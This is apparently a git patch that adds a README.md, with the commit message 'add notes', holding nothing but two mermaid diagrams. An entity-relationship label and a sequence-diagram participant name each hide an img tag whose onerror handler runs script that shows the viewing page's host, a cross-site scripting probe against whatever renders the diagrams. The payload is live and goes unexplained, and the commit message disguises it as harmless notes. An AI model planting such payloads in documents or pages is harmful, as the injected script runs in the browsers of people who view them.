From a807a1679fa8f516d9664c1bc7d6346ecfde6452 Mon Sep 17 00:00:00 2001
From: secrzagtdp9 <secrzagtdp9@example.com>
Date: Sun, 27 Sep 2026 18:09:54 +0800
Subject: [PATCH] add notes

---
 README.md | 12 ++++++++++++
 1 file changed, 12 insertions(+)
 create mode 100644 README.md

diff --git a/README.md b/README.md
new file mode 100644
index 0000000..9faf4df
--- /dev/null
+++ b/README.md
@@ -0,0 +1,12 @@
+notes
+
+```mermaid
+erDiagram
+  A ||--o{ B : "<img src=x onerror=window.__mx||(window.__mx=1,alert(location.host))>"
+```
+
+```mermaid
+sequenceDiagram
+  participant A as Alice<img src=x onerror=window.__mx||(window.__mx=1,alert(location.host))>$$\text{A}$$
+  A->>B: hi
+```